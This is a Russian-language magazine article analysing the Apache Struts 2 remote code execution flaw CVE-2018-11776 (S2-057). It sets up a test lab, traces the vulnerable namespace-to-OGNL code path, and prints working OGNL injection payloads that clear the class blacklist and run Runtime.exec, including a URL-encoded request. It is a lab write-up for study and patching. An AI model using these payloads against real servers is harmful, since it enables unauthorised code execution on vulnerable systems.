Во фреймворке Apache Struts 2, виновном в утечке данных у Equifax, нашли очередную дыру. Она позволяет злоумышленнику, не имея никаких прав в системе, выполнить произвольный код от имени того пользователя, от которого запущен веб-сервер. Давай посмотрим, как эксплуатируется эта уязвимость.

INFO

В 2017 году мы рассмотрели две уязвимости в Struts 2, обе из которых приводили к выполнению произвольного кода в системе. Одна была связана с реализацией REST API, а другая как раз с парсингом языка OGNL (кстати, именно она и подвела Equifax).

Баг обнаружил исследователь Мань Юэ Мо (Man Yue Mo) из Semmle Security Research team 10 апреля 2018 года. Под угрозой оказались все версии фреймворка до 2.3.34 и 2.5.16 включительно. Атакующий может внедрить собственный namespace в приложение с помощью параметра в HTTP-запросе. При этом он никак не фильтруется приложением Struts и может быть произвольной строкой, которая затем попадает в парсер языковых конструкций OGNL (Object-Graph Navigation Language). А это прямая дорога к RCE.

Уязвимость получила внутренний идентификатор S2-057 (CVE-2018-11776) и статус критической. Давай разбираться, какие промахи допустили разработчики на этот раз.

 

Стенд

Один из немногих случаев, когда поднятие стенда на Java не представляет никаких проблем. В качестве веб-сервера я буду использовать Apache Tomcat версии 8.5.20 для Windows. Фреймворк возьму последней уязвимой версии ветки 2.3 — 2.3.34. Скачать ее можно с официального сервера архивных версий.

В архиве нас будет интересовать только файл struts2-showcase.war из папки apps. По сути, это тот же архив в формате ZIP. Просто распакуй его в директорию webapps/struts2-showcase.

Это почти все приготовления. Осталось только создать комфортные условия для тестирования уязвимости. Для этого отредактируем содержимое файла struts-actionchaining.xml из директории struts2-showcase/WEB-INF/classes.

/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
  "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
  "http://struts.apache.org/dtds/struts-2.3.dtd">

<struts>
  <package name="actionchaining" extends="struts-default">
    <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
      <result type="redirectAction">
        <param name = "actionName">comehere</param>
      </result>
    </action>
  </package>
</struts>

После этого запускаем сервер, переходим по адресу http://127.0.0.1:8080/struts2-showcase/index.action и наблюдаем приветственную страницу с примерами использования Struts 2.

Готовый к экспериментам стенд с Apache Struts 2.3.34
Готовый к экспериментам стенд с Apache Struts 2.3.34

Если у тебя Linux, то рекомендую взять Docker и поднять стенд одной командой:

$ docker run -d -p 8080:8080 vulhub/struts2:2.3.34-showcase

После этого не забудь отредактировать файл /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts-actionchaining.xml и перезапустить Tomcat.

Возникло желание немного подебажить? Тогда твой выбор — IntelliJ IDEA. Просто открой папку с исходниками (/struts-2.3.34/src), в ней и настрой запуск сервера с приложением Showcase через Maven.

Конфигурация запуска приложения Struts 2 Showcase в IntelliJ IDEA
Конфигурация запуска приложения Struts 2 Showcase в IntelliJ IDEA

Дальше можешь выбирать пункт Debug из меню Run, ставить брейки и дебажить как тебе вздумается.

 

Детали уязвимости

Существует несколько кейсов, при которых возможна эксплуатация уязвимости. Первый из них — когда опция alwaysSelectFullNamespace установлена в true. Такую настройку, например, использует очень популярный плагин для Struts под названием Convention.

/plugins/convention/src/main/resources/struts-plugin.xml
...
<struts order="20">
  ...
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/>
  ...

Если твое приложение использует этот плагин, значит, оно уязвимо. Struts Showcase его использует.

/struts2-showcase/META-INF/maven/org.apache.struts/struts2-showcase/pom.xml
...
<dependency>
  <groupId>org.apache.struts</groupId>
  <artifactId>struts2-convention-plugin</artifactId>
</dependency>
...

Второй вариант — если приложение использует действия (actions), которые сконфигурированы без указания конкретного пространства имен (namespace), или использует в качестве него символы подстановки (/*). Это относится не только к действиям, определенным внутри конфигурационных файлов Struts, но и к пространству имен, используемых непосредственно в исходном коде. Помнишь, во время поднятия стенда мы изменяли файл struts-actionchaining.xml? Тем самым мы создали условия для возможной атаки.

/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml
...
<result type="redirectAction">
  <param name = "actionName">comehere</param>
</result>
...

Существует несколько типов тега result, которые уязвимы, если использовать их без указания пространства имен:

  • redirectAction — указывает, что после выполнения текущего экшена нужно передать управление на другой;
  • postback — тип результата, отображает текущие параметры запроса в виде формы, которая передает данные в указанное место назначения;
  • chain — используется, когда необходимо объединить несколько экшенов в одну последовательную цепочку, результат которой передать пользователю.

В нашем случае указан redirectAction, то есть если вызывается метод actionChain1, то приложение редиректит нас на comehere.

GET /struts2-showcase/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
Использование типа redirectAction в теге result. Редирект на указанный экшен
Использование типа redirectAction в теге result. Редирект на указанный экшен

Это поведение обрабатывается классом ServletActionRedirectResult. Он имплементирует метод execute, который отрабатывает при каждом вызове действия.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
128: public class ServletActionRedirectResult extends ServletRedirectResult implements ReflectionExceptionHandler {
...
165:   public void execute(ActionInvocation invocation) throws Exception {
166:     actionName = conditionalParse(actionName, invocation);
167:     if (namespace == null) {
168:       namespace = invocation.getProxy().getNamespace();
169:     } else {
170:       namespace = conditionalParse(namespace, invocation);
171:     }

Обрати внимание на работу с пространством имен. Если оно не указано для экшена, на который происходит редирект, то выполняется конструкция invocation.getProxy().getNamespace(). Она получает namespace из родительского экшена, который вызывает comehere.

Отладка метода execute класса ServletActionRedirectResult
Отладка метода execute класса ServletActionRedirectResult

Так как наш метод — корневой, то и namespace будет равен /. Теперь попробуем сделать вызов вида custom/actionChain1.action.

GET /struts2-showcase/custom/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
Манипулирование пространством имен с помощью URI
Манипулирование пространством имен с помощью URI

Приложение думает, что custom — это тоже экшен, и использует его в пространстве имен при формировании редиректа. Посмотрим, что происходит с ним дальше по коду.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));

Метод getUriFromActionMapping возвращает текущий URI до экшена, на который делаем редирект. Он извлекается из экземпляра объекта ActionMapping.

/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java
487: public String getUriFromActionMapping(ActionMapping mapping) {
488:   StringBuilder uri = new StringBuilder();
489:
490:   handleNamespace(mapping, uri);
491:   handleName(mapping, uri);
492:   handleDynamicMethod(mapping, uri);
493:   handleExtension(mapping, uri);
494:   handleParams(mapping, uri);
495:
496:   return uri.toString();
497: }
Отладка метода getUriFromActionMapping
Отладка метода getUriFromActionMapping

Далее полученная строка отправляется в setLocation в качестве аргумента.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
178: String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
179: 
180: setLocation(tmpLocation);
org/apache/struts2/dispatcher/StrutsResultSupport.java
106: public abstract class StrutsResultSupport implements Result, StrutsStatics {
...
143:   public void setLocation(String location) {
144:     this.location = location;
145:   }

И наконец, вызывается метод execute из родительского класса StrutsResultSupport.

/org/apache/struts2/dispatcher/ServletActionRedirectResult.java
165: public void execute(ActionInvocation invocation) throws Exception {
...
180:   setLocation(tmpLocation);
181:
182:   super.execute(invocation);
183: }
/org/apache/struts2/dispatcher/StrutsResultSupport.java
106: public abstract class StrutsResultSupport implements Result, StrutsStatics {
...
189:   public void execute(ActionInvocation invocation) throws Exception {
190:     lastFinalLocation = conditionalParse(location, invocation);

Теперь наша строка отправляется в conditionalParse.

/org/apache/struts2/dispatcher/StrutsResultSupport.java
201: protected String conditionalParse(String param, ActionInvocation invocation) {
202:   if (parse && param != null && invocation != null) {
203:     return TextParseUtil.translateVariables(
204:       param, 
205:       invocation.getStack(),
206:       new EncodingParsedValueEvaluator());
207:   } else {
208:     return param;
209:   }
210: }
Вызов conditionalParse из родительского класса StrutsResultSupport
Вызов conditionalParse из родительского класса StrutsResultSupport

Затем строка направляется в TextParseUtil.translateVariables.

/com/opensymphony/xwork2/util/TextParseUtil.java
38: public class TextParseUtil {
...
73:   public static String translateVariables(String expression, ValueStack stack, ParsedValueEvaluator evaluator) {
74:     return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, evaluator).toString();
75:   }
Отладка метода translateVariables
Отладка метода translateVariables

Этот метод парсит строку, и если в ней обнаружены языковые выражения OGNL, то они выполняются через OgnlTextParser. Признаком таких выражений служат конструкции вида ${} или %{}. Давай отправим вместо custom OGNL c простым математическим действием — ${31337+1337}.

GET /struts2-showcase/actionChain1.action HTTP/1.1
Host: struts.vh:8080
Connection: close
Отладка метода translateVariables
Отладка метода translateVariables

После всего путешествия наша строка приземляется в evaluator.evaluate, где выполняется указанное нами выражение.

/com/opensymphony/xwork2/util/OgnlTextParser.java
08: public class OgnlTextParser implements TextParser {
...
10:   public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
...
13:     Object result = expression = (expression == null) ? "" : expression;
...
46:       if ((start != -1) && (end != -1) && (count == 0)) {
47:         String var = expression.substring(start + 2, end);
48: 
49:         Object o = evaluator.evaluate(var);
Внедрение OGNL-выражений в Struts 2
Внедрение OGNL-выражений в Struts 2

Результатом будет число 32 674. В итоге получается URI /32674/comehere.action, и строка попадает в метод doExecute.

/org/apache/struts2/dispatcher/StrutsResultSupport.java
189: public void execute(ActionInvocation invocation) throws Exception {
...
191:   doExecute(lastFinalLocation, invocation);
192: }
Успешное выполнение внедренного OGNL-выражения в Struts 2
Успешное выполнение внедренного OGNL-выражения в Struts 2

И происходит редирект на данный URL.

Редирект на результат внедренного выражения OGNL
Редирект на результат внедренного выражения OGNL

По сути, здесь мы имеем удаленное выполнение произвольного кода. Чтобы это провернуть, используем готовую полезную нагрузку для запуска калькулятора.

${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#ct.setMemberAccess(#dma)).(@java.lang.Runtime@getRuntime().exec("calc"))}

Сначала включаем возможность вызова статичных методов в контексте выражений OGNL. Затем выполняем команду при помощи стандартного java.lang.Runtime.exec.

Выполнение произвольного кода в Struts 2.3.34
Выполнение произвольного кода в Struts 2.3.34

Это все отлично работает до тех пор, пока мы отлаживаем приложение. А вот в продакшене некоторые потенциально опасные классы запрещены к выполнению в целях безопасности. Одним из первых в их ряду стоит java.lang.Runtime. Тогда пейлоад превращается вот в такого монстра:

${(#dma=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dma)).(#cmd=@java.lang.Runtime@getRuntime().exec("calc"))}

Здесь сначала очищается список запрещенных для вызова классов, а затем уже выполняется код.

Аналогична эксплуатация с остальными двумя типами resultpostback и chain. Можешь сам проверить, конфиги выглядят примерно так же.

<result type="postback">
  <param name = "actionName">backhere</param>
</result>

<result type="chain">
  <param name = "actionName">chainhere</param>
</result>

Помимо варианта с разными типами result, есть еще одна возможность эксплуатации уязвимости — когда используются теги s:url. Если страница с ними вызывается через packages, у которых пространство имен не указано, то здесь попахивает RCE. Рассмотрим на примере.

Страница showcase.jsp выводится по умолчанию — например, всякий раз, когда пытаешься обратиться к несуществующему экшену.

/src/apps/showcase/src/main/resources/struts.xml
<struts>
  ...
  <package name="default" extends="struts-default">
    ...
    <default-action-ref name="showcase" />
    <action name="showcase">
      <result>/WEB-INF/showcase.jsp</result>
    </action>
    ...

Добавим в нее строку <s:url/>.

/src/apps/showcase/src/main/webapp/WEB-INF/showcase.jspshowcase.jsp
14: <body>
15:   <div class="container-fluid">
16:     <div class="row-fluid">
17:       <div class="span12">
18: 
19:         <div class="hero-unit">
...
23:         </div>
24:         Current URI: <s:url />
25:       </div>
26:     </div>
27:   </div>
Добавляем вывод текущего URI страницы в Struts 2 Showcase
Добавляем вывод текущего URI страницы в Struts 2 Showcase

Теперь воспользуемся нашим расширенным пейлоадом, только здесь нужно взять конструкцию вида %{}.

GET /struts2-showcase/%25%7B%28%23dma%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dma%29%29.%28%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%29%7D/notfound HTTP/1.1
Host: struts.vh:8080
Connection: close

И когда дело дойдет до вывода текущего URL, код выполнится, и перед нами предстанет окно калькулятора.

Выполнение произвольного кода в Struts 2 при использовании тегов s:url
Выполнение произвольного кода в Struts 2 при использовании тегов s:url
 

Демонстрация уязвимости (видео)

 

Выводы

Уязвимости с попаданием пользовательских данных в парсер OGNL все продолжают преследовать фреймворк Struts 2. Одна из них — S2-045 (CVE-2017-5638) — уже стоила примерно 500 тысяч фунтов. Будем надеяться, что в последних патчах разработчики учли все нюансы и проблем такого типа теперь на порядок меньше. Так что поспеши обновиться на новые версии. На момент написания статьи это 2.5.17 и 2.3.35.

Также рекомендую прочитать сам репорт Маня Юэ Мо на LGTM. В нем он подробно рассказывает, как с помощью анализа подобных уязвимостей и нескольких запросов на языке Semmle QL удалось обнаружить описанную проблему в коде.

2 комментария

  1. Аватар

    avator888

    25.09.2018 в 22:58

    +1 автору в карму

  2. Аватар

    r0uly

    18.10.2018 в 05:34

    Великолепная статья!

Оставить мнение